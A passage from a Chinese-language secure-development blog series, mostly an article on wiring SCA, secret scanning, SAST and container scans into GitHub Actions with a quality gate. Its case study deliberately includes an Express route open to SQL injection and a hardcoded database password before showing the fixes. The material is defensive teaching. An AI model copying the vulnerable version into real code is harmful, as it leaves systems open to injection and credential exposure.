小系統可以先從「開發者自檢 + OWASP ZAP 自動掃描」開始,不一定要花大錢請外部廠商。

Q2:滲透測試會不會把我的系統打壞?

專業的滲透測試不會以破壞系統為目的。在前期互動階段,會明確約定不做 DoS 攻擊、不刪除資料、不修改正式環境的設定。這也是為什麼一定要準備獨立的測試環境——即使測試過程出了意外,也不會影響正式服務。

Q3:收到報告後發現一堆漏洞,是不是代表我們團隊很差?

完全不是。滲透測試找到漏洞是正常的預期的結果。就像每年做健康檢查,多少會發現一些指標需要注意。找到漏洞代表你做了正確的事——在攻擊者之前發現問題。真正該擔心的是「做了測試卻什麼都沒發現」,那可能代表測試不夠深入。

Q4:我們請廠商測了一次,以後還需要再測嗎?

需要。系統在持續迭代,每次新增功能都可能引入新的漏洞。建議至少每年做一次完整的滲透測試,以及在每次重大改版前做一次。同時,在日常開發中持續使用 SAST/DAST 工具進行自動化安全掃描。


十、結語:攻擊是最好的防禦教材

在 SSDLC 的旅程中,滲透測試是一個特別的存在——它讓你暫時放下防守者的身分,戴上攻擊者的面具,用另一個視角審視自己精心打造的系統。

這個視角轉換的價值,遠超過一份報告上列出的漏洞數量。

當你看到自己寫的 API 被繞過權限檢查,你會深刻理解為什麼「永遠不要信任前端傳來的資料」。當你看到情報收集階段就能從 HTTP Header 判斷出你的技術棧,你會真正意識到為什麼要隱藏 <code>X-Powered-By</code>。當你看到一個低風險的資訊洩露被串連成一條完整的攻擊鏈,你會明白為什麼每一個小漏洞都值得修

滲透測試不只是驗證工作,更是最好的學習機會。

從今天開始,你可以做的第一步很簡單——打開你的系統,試著改一改 URL 裡的 ID,看看能不能看到別人的資料。如果可以——恭喜你,你剛剛完成了你的第一次「滲透測試」。

「安全不是恐懼,而是創造的基礎。」 而滲透測試,就是讓你確認這個基礎夠不夠穩固的最佳方式。


延伸閱讀

[安全測試] 003 CI/CD 安全整合:在 Pipeline 加入安全關卡——讓每次部署都通過資安體檢

「房子蓋好後,不是直接交屋就好,你得先請結構技師檢查、消防設備測試、水電驗收。
CI/CD Pipeline 也一樣——每一次部署,都應該先通過一輪資安體檢。
自動化不是為了取代人,而是讓安全不再被遺忘。」
— SSDLC by 飛飛


一、CI/CD 安全整合是什麼?為什麼你的 Pipeline 需要安全關卡?

在 SSDLC 蓋房子的旅程中,我們已經走過了安全需求定義(確認要防震防火防盜)、安全設計(畫好建築藍圖)、安全實作(使用合格建材施工)。現在,我們來到了階段四:安全驗證(Verification)——房子蓋好後,交屋前的「安全檢查」。

想像你蓋了一棟漂亮的房子,建材用的是防火等級的,電線也符合規範。但如果交屋那天,沒有人來驗收——沒人檢查消防灑水器能不能動、沒人測試逃生門能不能開、沒人看排水管有沒有接好——你敢住進去嗎?

CI/CD 安全整合,就是在你的軟體「交屋」(部署上線)之前,加入一道自動化的安全驗收流程。

傳統的做法是:開發者寫完程式碼、推上 Git、CI 跑一跑單元測試、通過了就部署。安全?等上線之後再找資安公司來滲透測試吧。

問題是,等到滲透測試報告出來,漏洞已經在線上跑了好幾週。就像房子已經住了三個月,才發現消防系統根本沒裝——代價極高。

CI/CD 安全整合的核心思想是:把安全檢查「左移」到部署流程中,讓每一次 git push 都自動觸發安全掃描。 發現問題就擋住、修好再上線,不讓漏洞有機會溜進生產環境。

飛飛觀點:
很多人覺得「加安全掃描會拖慢部署速度」。但想想看,你會因為安全帶「太麻煩」就不繫嗎?CI/CD 安全掃描通常只多花 3-8 分鐘,但它能在漏洞到達使用者之前就攔截下來。花 5 分鐘預防,好過花 5 天善後。


二、傳統做法 vs. DevSecOps:安全不該是最後一關

先來看看傳統做法和 DevSecOps 做法的差別:

面向 傳統做法 DevSecOps 做法
安全檢查時機 上線前或上線後,做一次性滲透測試 每次 push/PR 都自動掃描
發現漏洞的時機 開發結束後,可能已經過了好幾週 寫完程式碼的幾分鐘內就知道
修復成本 高(要回頭改已經整合的功能) 低(問題還在開發者腦中,馬上修)
責任歸屬 「資安團隊的事」 「每個開發者的事」
自動化程度 低,多靠人工審查 高,機器自動掃描、自動擋
覆蓋率 低,只檢查一次 高,每次變更都檢查

用蓋房子的比喻來說:

傳統做法就像房子蓋完才請消防隊來檢查——萬一不合格,整面牆要拆掉重來。

DevSecOps 就像每砌一面牆,工地監工就立刻檢查有沒有用對建材、有沒有預留管線——問題當下就能修正,不用返工。


三、安全 Pipeline 的四道關卡:你的 CI/CD 防火牆

一條完整的安全 Pipeline,就像房屋驗收時的四個檢查站:

┌─────────────┐    ┌─────────────┐    ┌─────────────┐    ┌─────────────┐
│  🔍 SAST    │───▶│  📦 SCA     │───▶│  🔐 Secret  │───▶│  🌐 DAST    │
│  靜態分析   │    │  依賴掃描   │    │  機密掃描   │    │  動態測試   │
│             │    │             │    │             │    │             │
│ 檢查程式碼  │    │ 檢查第三方  │    │ 檢查有沒有  │    │ 檢查運行中  │
│ 有沒有漏洞  │    │ 套件有沒有  │    │ 把密碼推上  │    │ 的網站有沒  │
│             │    │ 已知漏洞    │    │ Git         │    │ 有漏洞      │
└─────────────┘    └─────────────┘    └─────────────┘    └─────────────┘
    結構技師           建材檢驗員         保全系統檢查         消防測試

關卡一:SAST(靜態應用程式安全測試)

比喻: 結構技師看藍圖和施工品質,不用等房子蓋好就能發現問題。

SAST 直接掃描你的原始碼,在程式碼還沒執行前就找出潛在漏洞:SQL Injection、XSS、Path Traversal、硬編碼密碼等。

推薦工具:

工具 特色 費用
Semgrep 輕量快速、規則豐富、支援多語言 免費(開源)
SonarQube 全面的程式碼品質 + 安全掃描 Community 版免費
CodeQL GitHub 原生整合,語意分析強大 GitHub 公開 Repo 免費
ESLint Security Node.js 專用,整合 IDE 即時提示 免費(開源)

關卡二:SCA(軟體組成分析)

比喻: 建材檢驗員確認你用的水泥、鋼筋、磁磚是不是合格品。

SCA 掃描你專案的所有第三方依賴套件,檢查有沒有已知的 CVE 漏洞。還記得 2021 年的 Log4Shell 嗎?一個 Log4j 的漏洞影響了全世界數百萬系統——如果你的 Pipeline 有 SCA 掃描,就能在第一時間收到警報。

推薦工具:

工具 特色 費用
npm audit Node.js 內建 免費
Snyk 自動修復建議、整合豐富 免費方案可用
OWASP Dependency-Check 開源、支援多語言 免費(開源)
Trivy 容器 + 依賴 + IaC 全方位掃描 免費(開源)

關卡三:Secret Scanning(機密掃描)

比喻: 保全公司檢查你有沒有把鑰匙插在門上忘了拔。

Secret Scanning 掃描你的程式碼和 Git 歷史紀錄,找出不小心被推上去的 API Key、資料庫密碼、JWT Secret 等機密資訊。根據 GitGuardian 的統計,平均每 1,000 次 commit 就有 5.5 個機密被意外推上公開 Repo。

推薦工具:

工具 特色 費用
GitHub Secret Scanning GitHub 原生、支援多種 Token 格式 公開 Repo 免費
GitLeaks 快速、可自訂規則 免費(開源)
TruffleHog 深度掃描 Git 歷史 免費(開源)

關卡四:DAST(動態應用程式安全測試)

比喻: 消防測試——實際點火看灑水器會不會動。

DAST 對執行中的應用程式發送惡意請求,模擬真實攻擊。它不看原始碼,而是看系統的實際行為——就像真正的攻擊者會做的事情。

推薦工具:

工具 特色 費用
OWASP ZAP 開源標準、功能強大 免費(開源)
Nuclei 模板化掃描、社群維護規則 免費(開源)
Burp Suite 業界標準,功能最全面 社群版免費

飛飛觀點:
不需要一次全部導入。如果你的團隊剛開始做 CI/CD 安全整合,先從 SCA(npm audit)和 Secret Scanning(GitLeaks)開始——這兩個最容易導入、誤報率最低、投入產出比最高。穩定之後再加入 SAST 和 DAST。


四、GitHub Actions 安全掃描實戰設定

接下來,我們用 GitHub Actions 來實作一條完整的安全 Pipeline。以台灣常見的 Node.js 電商專案為例,一步步加入四道安全關卡。

4.1 基礎架構:安全掃描 Workflow

先建立 <code>.github/workflows/security.yml</code>:

# .github/workflows/security.yml
name: 🔒 Security Pipeline

on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main, develop]
  schedule:
    # 每週一早上 9 點(UTC+8)自動掃描,確保依賴漏洞被及時發現
    - cron: '0 1 * * 1'

permissions:
  contents: read
  security-events: write  # 讓掃描結果可以顯示在 GitHub Security Tab

jobs:
  # ═══════════════════════════════════════
  # 關卡一:依賴套件漏洞掃描(SCA)
  # ═══════════════════════════════════════
  dependency-check:
    name: 📦 依賴套件安全檢查
    runs-on: ubuntu-latest
    steps:
      - name: Checkout 程式碼
        uses: actions/checkout@v4

      - name: 安裝 Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '20'
          cache: 'npm'

      - name: 安裝依賴
        run: npm ci

      # npm audit:Node.js 內建的依賴漏洞掃描
      - name: npm audit — 掃描已知漏洞
        run: |
          echo "🔍 正在掃描 npm 依賴套件漏洞..."
          npm audit --audit-level=high --omit=dev 2>&1 | tee audit-result.txt
          # 只阻擋 high 和 critical 等級的漏洞
          # --omit=dev 忽略開發依賴,減少誤報

      # (進階)使用 Snyk 做更深度的 SCA 掃描
      # - name: Snyk 依賴掃描
      #   uses: snyk/actions/node@master
      #   env:
      #     SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
      #   with:
      #     args: --severity-threshold=high

  # ═══════════════════════════════════════
  # 關卡二:機密掃描(Secret Scanning)
  # ═══════════════════════════════════════
  secret-scan:
    name: 🔐 機密資訊掃描
    runs-on: ubuntu-latest
    steps:
      - name: Checkout 程式碼(含完整 Git 歷史)
        uses: actions/checkout@v4
        with:
          fetch-depth: 0  # 掃描完整 Git 歷史

      - name: GitLeaks — 掃描洩漏的機密
        uses: gitleaks/gitleaks-action@v2
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          # GitLeaks 會掃描:API Key、資料庫密碼、JWT Secret、
          # AWS Access Key、Private Key 等常見機密格式

  # ═══════════════════════════════════════
  # 關卡三:靜態程式碼安全分析(SAST)
  # ═══════════════════════════════════════
  sast-scan:
    name: 🔍 靜態安全分析
    runs-on: ubuntu-latest
    steps:
      - name: Checkout 程式碼
        uses: actions/checkout@v4

      # Semgrep:輕量級 SAST 工具,支援 OWASP Top 10 規則
      - name: Semgrep — 掃描程式碼安全漏洞
        uses: returntocorp/semgrep-action@v1
        with:
          config: >-
            p/owasp-top-ten
            p/nodejs
            p/javascript
            p/typescript
          # p/owasp-top-ten:涵蓋 OWASP Top 10 的掃描規則
          # p/nodejs:Node.js 特定的安全規則
          # p/javascript:JavaScript 通用安全規則

  # ═══════════════════════════════════════
  # 關卡四:容器映像掃描(如果使用 Docker)
  # ═══════════════════════════════════════
  container-scan:
    name: 🐳 容器安全掃描
    runs-on: ubuntu-latest
    if: hashFiles('Dockerfile') != ''  # 只在有 Dockerfile 時執行
    steps:
      - name: Checkout 程式碼
        uses: actions/checkout@v4

      - name: 建置 Docker 映像
        run: docker build -t my-app:scan .

      # Trivy:掃描容器映像中的 OS 套件和應用程式依賴漏洞
      - name: Trivy — 掃描容器漏洞
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: 'my-app:scan'
          format: 'table'
          exit-code: '1'            # 發現漏洞就失敗
          severity: 'HIGH,CRITICAL' # 只阻擋高風險和嚴重漏洞
          ignore-unfixed: true      # 忽略尚無修補的漏洞

4.2 進階:ESLint 安全規則整合

除了 CI 的掃描,在開發階段就能用 ESLint 安全外掛即時提醒開發者:

// .eslintrc.js — 加入安全規則
module.exports = {
  plugins: ['security'],
  extends: ['plugin:security/recommended'],
  rules: {
    // 偵測不安全的正規表達式(ReDoS 攻擊)
    'security/detect-unsafe-regex': 'error',
    // 偵測 eval 相關的危險用法
    'security/detect-eval-with-expression': 'error',
    // 偵測可能的物件注入(Prototype Pollution)
    'security/detect-object-injection': 'warn',
    // 偵測不安全的 Buffer 用法
    'security/detect-buffer-noassert': 'error',
    // 偵測可能的 timing attack
    'security/detect-possible-timing-attacks': 'warn',
    // 偵測非字面值的正規表達式(可能的 ReDoS)
    'security/detect-non-literal-regexp': 'warn',
    // 偵測非字面值的 require(可能的任意檔案載入)
    'security/detect-non-literal-require': 'warn',
  },
};

把 ESLint 安全檢查也加進 CI:

  # 加在 security.yml 的 jobs 裡
  lint-security:
    name: 📝 ESLint 安全規則檢查
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
          cache: 'npm'
      - run: npm ci
      - name: ESLint 安全檢查
        run: npx eslint . --ext .js,.ts --format stylish

4.3 完整的安全 Pipeline 流程圖

 開發者 git push
      │
      ▼
┌──────────────────┐
│   GitHub Actions  │
│   觸發 Workflow   │
└──────┬───────────┘
       │
       ├──▶ 📦 dependency-check (SCA)
       │      └── npm audit --audit-level=high
       │
       ├──▶ 🔐 secret-scan
       │      └── GitLeaks 掃描完整 Git 歷史
       │
       ├──▶ 🔍 sast-scan (SAST)
       │      └── Semgrep OWASP Top 10 規則
       │
       ├──▶ 📝 lint-security
       │      └── ESLint Security Plugin
       │
       └──▶ 🐳 container-scan(如果有 Dockerfile)
              └── Trivy 容器映像掃描
       │
       ▼
┌──────────────────┐
│  全部通過?       │
│  ✅ → 允許合併    │
│  ❌ → 阻擋部署    │
└──────────────────┘

五、設定安全品質門檻(Security Quality Gate)

有了安全掃描工具還不夠,你還需要定義明確的品質門檻——什麼情況下要阻擋部署、什麼情況下只是警告。

5.1 品質門檻的三個等級

就像房屋驗收有不同等級的缺失:

等級 說明 Pipeline 行為 範例
🔴 Critical(嚴重) 立即可被利用的漏洞 阻擋部署,必須修復 SQL Injection、RCE、硬編碼的 API Key
🟡 High(高風險) 有風險但需要特定條件才能利用 阻擋 PR 合併,限期修復 XSS、CSRF、高風險 CVE 依賴
🟢 Medium/Low(中低風險) 風險較低或難以利用 發出警告,排入 backlog 資訊洩漏、低風險 CVE、代碼品質問題

5.2 實作品質門檻:建立統一的安全檢查腳本

// scripts/security-gate.js — 統一的安全品質門檻判斷
const fs = require('fs');

/**
 * 安全品質門檻設定
 * 根據你的團隊風險承受度調整
 */
const SECURITY_GATE = {
  // SCA(依賴漏洞)
  sca: {
    block: ['critical', 'high'],      // 這些等級會阻擋部署
    warn: ['moderate'],                // 這些等級只發出警告
    ignore: ['low', 'info'],           // 這些等級靜默忽略
    maxAge: 30,                        // 已知漏洞超過 30 天未修會升級為 block
  },

  // SAST(程式碼漏洞)
  sast: {
    block: ['ERROR'],                  // Semgrep ERROR 等級阻擋
    warn: ['WARNING'],                 // WARNING 等級發出提醒
    maxFindings: 0,                    // block 等級的漏洞數量上限
  },

  // Secret(機密洩漏)
  secret: {
    block: true,                       // 只要偵測到機密就阻擋,零容忍
  },

  // Container(容器漏洞)
  container: {
    block: ['CRITICAL', 'HIGH'],
    ignoreUnfixed: true,               // 忽略尚無修補的漏洞
  },
};

/**
 * 檢查 npm audit 結果
 */
function checkSCAResults(auditOutput) {
  const vulnerabilities = JSON.parse(auditOutput);
  const blocked = [];
  const warned = [];

  for (const [name, detail] of Object.entries(vulnerabilities.vulnerabilities || {})) {
    if (SECURITY_GATE.sca.block.includes(detail.severity)) {
      blocked.push(<code class="kb-btn">🔴 [${detail.severity.toUpperCase()}] ${name}: ${detail.title || detail.url}</code>);
    } else if (SECURITY_GATE.sca.warn.includes(detail.severity)) {
      warned.push(<code class="kb-btn">🟡 [${detail.severity.toUpperCase()}] ${name}: ${detail.title || detail.url}</code>);
    }
  }

  return { blocked, warned, passed: blocked.length === 0 };
}

/**
 * 輸出報告
 */
function printReport(results) {
  console.log('\n╔══════════════════════════════════════╗');
  console.log('║    🔒 Security Quality Gate Report    ║');
  console.log('╚══════════════════════════════════════╝\n');

  if (results.blocked.length > 0) {
    console.log('❌ 以下問題必須修復才能部署:\n');
    results.blocked.forEach(item => console.log(<code class="kb-btn">  ${item}</code>));
    console.log('');
  }

  if (results.warned.length > 0) {
    console.log('⚠️  以下問題建議修復(不阻擋部署):\n');
    results.warned.forEach(item => console.log(<code class="kb-btn">  ${item}</code>));
    console.log('');
  }

  if (results.passed) {
    console.log('✅ Security Quality Gate: PASSED\n');
  } else {
    console.log('❌ Security Quality Gate: FAILED\n');
    console.log('請修復以上 🔴 標記的問題後重新提交。');
    process.exit(1);  // 非零退出碼 → CI 失敗 → 阻擋部署
  }
}

module.exports = { SECURITY_GATE, checkSCAResults, printReport };

5.3 在 GitHub Actions 中套用品質門檻

  # 在所有掃描完成後,統一評估是否通過品質門檻
  security-gate:
    name: 🚦 安全品質門檻評估
    needs: [dependency-check, secret-scan, sast-scan, lint-security]
    runs-on: ubuntu-latest
    if: always()  # 即使前面的 job 失敗也要跑,才能給出完整報告
    steps:
      - name: 檢查所有安全掃描結果
        run: |
          echo "╔══════════════════════════════════════╗"
          echo "║    🔒 Security Quality Gate Report    ║"
          echo "╚══════════════════════════════════════╝"
          echo ""

          FAILED=0

          # 檢查依賴掃描
          if [ "${{ needs.dependency-check.result }}" == "failure" ]; then
            echo "❌ 依賴套件掃描:發現高風險漏洞"
            FAILED=1
          else
            echo "✅ 依賴套件掃描:通過"
          fi

          # 檢查機密掃描
          if [ "${{ needs.secret-scan.result }}" == "failure" ]; then
            echo "❌ 機密資訊掃描:偵測到洩漏的機密!"
            FAILED=1
          else
            echo "✅ 機密資訊掃描:通過"
          fi

          # 檢查 SAST
          if [ "${{ needs.sast-scan.result }}" == "failure" ]; then
            echo "❌ 靜態安全分析:發現程式碼漏洞"
            FAILED=1
          else
            echo "✅ 靜態安全分析:通過"
          fi

          # 檢查 ESLint 安全
          if [ "${{ needs.lint-security.result }}" == "failure" ]; then
            echo "⚠️  ESLint 安全規則:有警告(不阻擋)"
          else
            echo "✅ ESLint 安全規則:通過"
          fi

          echo ""
          if [ "$FAILED" -eq 1 ]; then
            echo "❌ Security Quality Gate: FAILED"
            echo "請修復以上問題後重新提交 PR。"
            exit 1
          else
            echo "✅ Security Quality Gate: PASSED"
            echo "所有安全檢查通過,可以安全合併。"
          fi

5.4 設定 Branch Protection 強制安全檢查

光有 CI 掃描還不夠,你要確保「不通過就不能合併」。在 GitHub 設定 Branch Protection Rules:

GitHub → Repository Settings → Branches → Branch protection rules

☑️ Require a pull request before merging
☑️ Require status checks to pass before merging
    → 搜尋並勾選:
    ✅ 📦 依賴套件安全檢查
    ✅ 🔐 機密資訊掃描
    ✅ 🔍 靜態安全分析
    ✅ 🚦 安全品質門檻評估
☑️ Require branches to be up to date before merging
☑️ Do not allow bypassing the above settings

這樣就算是 admin 也不能跳過安全檢查直接合併——就像消防檢查不合格的房子,不管你是屋主還是建商,都不能強制交屋。


六、實戰案例:台灣電商平台的安全 Pipeline

讓我們用一個完整的台灣電商情境,從頭到尾走一遍安全 Pipeline 的運作方式。

情境:ShopTW 電商平台

ShopTW 是一個台灣的電商平台,使用 Node.js + Express + PostgreSQL,部署在 AWS 上。團隊有 5 位工程師,剛開始導入 SSDLC。

一個普通的工作日:

工程師小明正在開發「商品評論功能」,他寫完了 API 程式碼,準備提交 PR:

// routes/reviews.js — 小明寫的商品評論 API
const express = require('express');
const router = express.Router();
const db = require('../db');

// 新增評論
router.post('/api/products/:id/reviews', async (req, res) => {
  const productId = req.params.id;
  const { rating, comment } = req.body;
  const userId = req.user.id;

  // ⚠️ 問題 1:SQL 字串拼接
  const query = `INSERT INTO reviews (product_id, user_id, rating, comment) 
                 VALUES ('${productId}', '${userId}', ${rating}, '${comment}')`;

  await db.query(query);
  res.json({ message: '評論已送出' });
});

// 查詢評論
router.get('/api/products/:id/reviews', async (req, res) => {
  const productId = req.params.id;
  const sort = req.query.sort || 'created_at';

  // ⚠️ 問題 2:排序欄位沒有白名單驗證
  const query = <code class="kb-btn">SELECT * FROM reviews WHERE product_id = '${productId}' ORDER BY ${sort}</code>;
  const result = await db.query(query);

  // ⚠️ 問題 3:直接回傳完整資料,可能包含敏感資訊
  res.json(result.rows);
});

module.exports = router;

小明還不小心在設定檔裡留了一段:

// config/database.js
// ⚠️ 問題 4:硬編碼的資料庫密碼
module.exports = {
  host: 'shopdb.abc123.ap-northeast-1.rds.amazonaws.com',
  user: 'shop_admin',
  password: 'ShopTW2024!SuperSecret',  // TODO: 之後改用環境變數
  database: 'shoptw_production',
};

小明提交 PR 後,安全 Pipeline 自動啟動:

🔍 SAST (Semgrep) 掃描結果:
  ❌ [ERROR] sql-injection — routes/reviews.js:12
     SQL query built with string concatenation.
     Use parameterized queries instead.

  ❌ [ERROR] sql-injection — routes/reviews.js:23
     User-controlled data in SQL ORDER BY clause.
     Use an allowlist for sort fields.

📦 SCA (npm audit) 掃描結果:
  ⚠️ [HIGH] express@4.17.1 — Prototype Pollution (CVE-2024-XXXX)
     Recommendation: Upgrade to express@4.21.0

🔐 Secret Scanning (GitLeaks) 掃描結果:
  ❌ [CRITICAL] Hardcoded password detected — config/database.js:5
     Pattern: password = 'ShopTW2024!SuperSecret'

🚦 Security Quality Gate: ❌ FAILED
   修復 2 個 SQL Injection 漏洞和 1 個機密洩漏後重新提交。

Pipeline 阻擋了合併。 小明看到報告後,逐一修復:

// ✅ 修復後的 routes/reviews.js
const express = require('express');
const router = express.Router();
const db = require('../db');
const { body, param, query, validationResult } = require('express-validator');

// 排序欄位白名單
const ALLOWED_SORT_FIELDS = ['created_at', 'rating'];

// 新增評論 — 使用參數化查詢 + 輸入驗證
router.post('/api/products/:id/reviews',
  [
    param('id').isUUID(),
    body('rating').isInt({ min: 1, max: 5 }),
    body('comment').isString().isLength({ min: 1, max: 1000 }).trim().escape(),
  ],
  async (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ error: '輸入資料格式不正確' });
    }

    const { id: productId } = req.params;
    const { rating, comment } = req.body;
    const userId = req.user.id;

    // ✅ 參數化查詢,避免 SQL Injection
    const query = `INSERT INTO reviews (product_id, user_id, rating, comment) 
                   VALUES ($1, $2, $3, $4) RETURNING id`;
    const result = await db.query(query, [productId, userId, rating, comment]);

    res.status(201).json({ 
      message: '評論已送出',
      reviewId: result.rows[0].id 
    });
  }
);

// 查詢評論 — 白名單驗證排序欄位
router.get('/api/products/:id/reviews',
  [
    param('id').isUUID(),
    query('sort').optional().isIn(ALLOWED_SORT_FIELDS),
  ],
  async (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ error: '查詢參數不正確' });
    }

    const { id: productId } = req.params;
    const sort = ALLOWED_SORT_FIELDS.includes(req.query.sort) 
      ? req.query.sort 
      : 'created_at';

    // ✅ 參數化查詢 + 白名單排序
    const result = await db.query(
      `SELECT id, rating, comment, created_at 
       FROM reviews WHERE product_id = $1 ORDER BY ${sort} DESC`,
      [productId]
    );

    // ✅ 只回傳必要欄位
    res.json({ reviews: result.rows });
  }
);

module.exports = router;
// ✅ 修復後的 config/database.js — 使用環境變數
module.exports = {
  host: process.env.DB_HOST,
  user: process.env.DB_USER,
  password: process.env.DB_PASSWORD,
  database: process.env.DB_NAME,
};

小明重新推上程式碼,Pipeline 再次執行:

🔍 SAST: ✅ 通過(0 個漏洞)
📦 SCA:  ⚠️ 1 個中風險依賴(已排入下週更新計畫)
🔐 Secret: ✅ 通過(無機密洩漏)
🚦 Security Quality Gate: ✅ PASSED

PR 順利合併。整個修復過程只花了 30 分鐘。如果這些漏洞等到上線後才被滲透測試發現,可能需要好幾天的緊急修補,還有個資外洩的風險。


七、可複用的安全 Pipeline 模板

以下是一個可以直接複製到你專案的完整模板:

GitHub Actions 安全 Pipeline 模板

# .github/workflows/security.yml
# 
# SSDLC 安全 Pipeline 模板
# 適用於 Node.js 專案
# 
# 使用方式:
# 1. 將此檔案複製到 .github/workflows/ 目錄
# 2. 設定 Branch Protection Rules 要求這些 checks 必須通過
# 3. 根據團隊需求調整 severity threshold
#
name: 🔒 Security Pipeline

on:
  push:
    branches: [main, develop]
  pull_request:
    branches: [main, develop]
  schedule:
    - cron: '0 1 * * 1'  # 每週一 UTC 01:00(台灣時間 09:00)

permissions:
  contents: read
  security-events: write

jobs:
  sca:
    name: 📦 SCA — 依賴漏洞掃描
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: '20', cache: 'npm' }
      - run: npm ci
      - run: npm audit --audit-level=high --omit=dev

  secrets:
    name: 🔐 Secrets — 機密掃描
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with: { fetch-depth: 0 }
      - uses: gitleaks/gitleaks-action@v2
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

  sast:
    name: 🔍 SAST — 靜態安全分析
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: returntocorp/semgrep-action@v1
        with:
          config: >-
            p/owasp-top-ten
            p/nodejs

  gate:
    name: 🚦 Security Gate
    needs: [sca, secrets, sast]
    runs-on: ubuntu-latest
    if: always()
    steps:
      - run: |
          echo "=== Security Quality Gate ==="
          PASS=true
          [ "${{ needs.sca.result }}" = "failure" ] && echo "❌ SCA" && PASS=false || echo "✅ SCA"
          [ "${{ needs.secrets.result }}" = "failure" ] && echo "❌ Secrets" && PASS=false || echo "✅ Secrets"
          [ "${{ needs.sast.result }}" = "failure" ] && echo "❌ SAST" && PASS=false || echo "✅ SAST"
          [ "$PASS" = "false" ] && exit 1
          echo "✅ All security checks passed"

安全 Pipeline 導入 Checklist

## CI/CD 安全整合導入 Checklist

### 第一週:基礎建設
- [ ] 建立 .github/workflows/security.yml
- [ ] 設定 npm audit(SCA 掃描)
- [ ] 設定 GitLeaks(機密掃描)
- [ ] 設定 Branch Protection Rules

### 第二週:強化掃描
- [ ] 加入 Semgrep(SAST 掃描)
- [ ] 設定 ESLint Security Plugin
- [ ] 定義安全品質門檻(block / warn / ignore)
- [ ] 設定每週排程掃描(cron job)

### 第三週:團隊協作
- [ ] 撰寫「安全掃描結果處理 SOP」
- [ ] 設定 Slack/Teams 通知(掃描失敗時通知頻道)
- [ ] 為團隊做一次安全 Pipeline 教學
- [ ] 建立 .gitleaksignore(合理的排除清單)

### 第四週:持續優化
- [ ] 檢視過去一個月的掃描結果,調整誤報規則
- [ ] 評估是否加入 DAST(動態掃描)
- [ ] 評估是否加入容器掃描(如果使用 Docker)
- [ ] 將安全掃描時間納入團隊的 Sprint 規劃

八、團隊落地建議:讓安全 Pipeline 不只是「裝飾品」

建議一:從「不阻擋」到「阻擋」的漸進式導入

很多團隊一開始就設定「有任何漏洞就擋住」,結果開發者天天被擋、產生抗拒心理,最後乾脆把安全 Pipeline 關掉。

漸進式導入策略:

階段 時間 策略 說明
觀察期 第 1-2 週 只掃描、不阻擋 讓團隊熟悉工具,觀察誤報率
試行期 第 3-4 週 只阻擋 Critical 只擋住最嚴重的問題(如機密洩漏、RCE)
正式期 第 5 週起 阻擋 Critical + High 開始對高風險漏洞說「不」
成熟期 第 9 週起 完整品質門檻 包含 Medium 的限期修復機制

建議二:處理誤報——別讓「狼來了」毀掉信任

安全掃描工具一定會有誤報(False Positive)。如果團隊每天看到一堆「漏洞警告」結果都是誤報,最後大家就會習慣性地忽略——就像每天喊「狼來了」的牧童。

處理誤報的方式:

# .semgrepignore — Semgrep 排除清單
# 排除測試檔案(測試中的硬編碼值是正常的)
tests/
__tests__/
*.test.js
*.spec.js

# 排除第三方產生的程式碼
node_modules/
dist/
build/
# .gitleaksignore — GitLeaks 排除清單
# 排除測試用的假密碼
test-fixtures/fake-credentials.json
# 排除已知的 false positive(附上 issue 連結)
# Issue: https://github.com/your-repo/issues/123
config/example.env

關鍵原則:
每一條排除規則都要附上原因和 Issue 連結。不要只是靜默忽略,要讓其他人知道「為什麼這不是問題」。

建議三:讓掃描結果「可見」

不要讓安全掃描結果只藏在 CI log 裡。讓它出現在團隊日常能看到的地方:

  • PR Comment:安全掃描結果自動貼在 PR 的留言區
  • Slack 通知:掃描失敗時自動通知 #security 頻道
  • Dashboard:用 GitHub Security Tab 追蹤漏洞趨勢
  # 在安全 Pipeline 中加入 Slack 通知
  notify:
    name: 📢 通知
    needs: [gate]
    runs-on: ubuntu-latest
    if: failure()
    steps:
      - name: 通知 Slack
        uses: slackapi/slack-github-action@v1
        with:
          channel-id: 'C_SECURITY'
          slack-message: |
            🚨 安全掃描失敗!
            Repository: ${{ github.repository }}
            PR: ${{ github.event.pull_request.html_url }}
            請相關開發者盡快檢視。
        env:
          SLACK_BOT_TOKEN: ${{ secrets.SLACK_BOT_TOKEN }}

飛飛觀點:
安全 Pipeline 的成功不是看「擋了多少漏洞」,而是看「團隊有沒有習慣看掃描結果」。如果開發者提交 PR 後會主動檢查安全掃描有沒有通過——恭喜你,安全文化已經開始扎根了。


九、常見問題 FAQ

Q1:安全掃描會不會讓 CI 變很慢?

不會太慢。以一個中型 Node.js 專案(10 萬行程式碼)為例,各項掃描的平均耗時:npm audit 約 10-30 秒、GitLeaks 約 20-60 秒、Semgrep 約 1-3 分鐘、ESLint Security 約 30-60 秒。全部跑完約 3-5 分鐘。而且這四項可以平行執行(GitHub Actions 的 jobs 預設就是平行的),所以總耗時約等於最慢的那一項。相比整條 CI Pipeline 通常 10-20 分鐘的總耗時,安全掃描只佔了一小部分。

Q2:我的專案不是 Node.js,這些工具還能用嗎?

大部分都能。Semgrep 支援 Python、Java、Go、Ruby、PHP 等 20 多種語言。GitLeaks 不看語言,它掃的是 Git commit 中的機密模式。Trivy 支援所有容器映像。你只需要把 <code>npm audit</code> 替換成你語言對應的 SCA 工具即可,例如 Python 用 <code>safety</code> 或 <code>pip-audit</code>、Java 用 <code>OWASP Dependency-Check</code>。

Q3:開源的免費工具夠用嗎?還是要買商業工具?

對大多數中小型團隊來說,免費工具完全足夠。 Semgrep + npm audit + GitLeaks + Trivy 這套組合能覆蓋 80% 以上的常見漏洞。商業工具(如 Snyk、Checkmarx)的優勢在於更低的誤報率、更好的修復建議、企業級報表和合規支援。建議先用免費工具建立基礎,等到團隊成熟、有明確需求時再評估商業工具。

